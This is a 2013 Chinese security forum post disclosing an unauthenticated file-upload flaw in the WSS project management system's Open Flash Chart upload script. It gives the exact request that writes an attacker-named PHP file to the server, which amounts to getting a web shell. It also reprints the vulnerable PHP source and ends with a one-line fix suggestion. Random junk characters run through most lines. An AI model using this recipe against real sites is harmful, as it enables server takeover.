找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2371|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存. A$ D! N) Y' e& _' j8 f& V7 u
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
4 S" D# ~: y- I- I  l4 x2 N; ~. l* C* V4 C- \
利用:. ^. h. \+ J) d: L9 K4 w$ u
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
3 A# [0 x! K9 ]. G4 s: f( ?! T
5 R: N# ^0 i8 ZPost任意数据. w; {2 [2 P/ z4 ^4 }* d
保存位置http://localhost/chart/tmp-upload-images/hfy.php! u1 v% j. ^$ X# z

5 v( p( ?# `" Z0 {& c: Y2 F5 [- r) q9 U, ?. |9 @" e+ \
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
! g7 T! `6 a& X6 b: ^- e! Y- p1 Q8 f% H/ p4 q+ o9 M  G6 U1 Y
<?php
/ X& k$ |( Y# w0 g/ U$ L7 p/ ^  j0 T$ a. v, q- {" ^2 @
//
* Q$ ?  y5 k, x" G; E// In Open Flash Chart -> save_image debug mode, you
. D+ |* w$ v! y7 I// will see the 'echo' text in a new window.8 E6 g4 p- v: V
//
: b2 c' z3 e4 m$ L3 N# f5 U. ^0 I1 f7 f: E* o6 N
/*
- ?8 d8 }4 D3 ?6 V. u7 J7 ?% @, n
$ X- g. U( R: l1 x9 v* C& _print_r( $_GET );' e; V8 @2 z) M3 e2 k! U7 I9 N
print_r( $_POST );' U3 I6 P* S6 ~2 f( c- Q
print_r( $_FILES );
" r; U' n" d% q+ g7 |7 O( H) Z
2 }# M3 R5 ^: ~* Mprint_r( $GLOBALS );
7 w$ M3 c" d4 @) f& w; n+ x& G7 eprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
+ j4 }5 p5 c& A" a6 s0 {
3 @) C0 v& f9 }# n6 {5 o; N: y*/
( d" m' v! t# |+ b: d// default path for the image to be stored //
9 d! C, [8 a% J2 B9 n1 t( |$default_path = '../tmp-upload-images/';3 a, R' h) q) o' y  Q, d! r9 S

& x* e( @4 F0 d2 j; y: l2 T) Aif (!file_exists($default_path)) mkdir($default_path, 0777, true);1 n5 z2 s; A  X

9 A! r! O( q4 M! ~$ C* h// full path to the saved image including filename //
; q2 T1 t/ ~9 {  A8 E* |  p& J" d$destination = $default_path . basename( $_GET[ 'name' ] );
! \+ N, J' C" u8 Y. `
8 B( F8 H! ?2 l0 l! U/ y' mecho 'Saving your image to: '. $destination;
* j! h$ p6 l+ G+ R5 D, l* D7 G- g1 ]// print_r( $_POST );
2 f6 o/ n. B' \+ D. P: z+ K// print_r( $_SERVER );  m0 o6 p% t" p1 x7 }* z
// echo $HTTP_RAW_POST_DATA;
5 E3 [( m: {; y% F! H
8 `( t* B/ a0 P5 L+ z5 Q//* {3 l  d$ `9 o- q
// POST data is usually string data, but we are passing a RAW .png
6 k( U8 N- `- f' k, \// so PHP is a bit confused and $_POST is empty. But it has saved. k  o  ]$ ^& S3 x( s1 w# O: [$ j
// the raw bits into $HTTP_RAW_POST_DATA
2 W; ^# V" o% O3 L" V) }3 u& F//
% D' ]/ F9 c5 t4 O3 N( h3 r- f, K" D. E+ M) ?$ \8 j. g7 z
$jfh = fopen($destination, 'w') or die("can't open file");
/ i( O3 R8 T; g0 ~. mfwrite($jfh, $HTTP_RAW_POST_DATA);( N3 s7 o& }( {) I, D8 s. t
fclose($jfh);* w1 j+ J: S' ~7 o7 i/ C; Q( K
: T% @8 g% e2 L5 T# l  _
//
% A: ~3 _. s. i* Z4 k" k2 B// LOOK:) N: X" j/ U: Q6 k6 x( r& U' ?
//
0 }# N9 Q' F/ r4 [exit();) h# l% \# F# f
//& X3 e, Q* a6 o) j) ]( Z, M
// PHP5:
" v1 {, ~+ m$ m6 Y. Y/ I//6 G' m% T+ ^; M& \) M
0 ^8 l. t% i" S9 r4 F$ O4 p8 t" ]; ]

/ _" f9 `: e$ u: E// default path for the image to be stored //1 d& w& J; F* I) n0 G5 |2 k
$default_path = 'tmp-upload-images/';
3 H; C' e) O" x5 u1 f  J: e/ }; H7 f3 Q  Q: a) c8 _2 L
if (!file_exists($default_path)) mkdir($default_path, 0777, true);& I! z1 M. F2 |+ j
; H; h. j8 X* W* G
// full path to the saved image including filename //$ g5 y4 |4 z8 N7 m- }) L: y
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
! i" ~9 |2 C$ t4 M) G. u1 G6 ~8 k. X" `. j0 }" \, F4 F/ S) u
// move the image into the specified directory //
" j; o, \% Y* v" H9 ]if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
) o6 i3 s+ D% E! Q0 ?: |% P    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
! }( z/ L( X2 l} else {
: `5 Y8 a9 b' v3 U+ T    echo "FILE UPLOAD FAILED";
% T, p4 A+ W6 T: o+ r0 l" Q- I}% b* o! L1 S7 k

. ~% j% @4 y. z3 K$ I
) Y; b' @1 E; G1 V! z$ O6 J?>9 I3 t, K# Y6 |7 A7 I
4 l" M2 |) @+ q4 w, a
$ g6 M; f/ ^' S5 b, Q# _0 h
# G1 B/ k; Q, Y
0 a- F1 x  b2 B' _7 C
& C! v0 I; D7 E7 H
. j! M# n, t5 V- w8 i
修复方案:
- a3 i9 n: o3 p$ A. o这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 " K& ]& c+ _& |  e% Y% D' q; Y) _

! u$ Q4 C" I6 A6 o2 Z1 B" l2 C" X6 [% p5 @
; y' i4 _6 Y0 `

$ [% X8 p9 I5 g1 w5 Q0 ?2 ?8 K) Z7 N

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表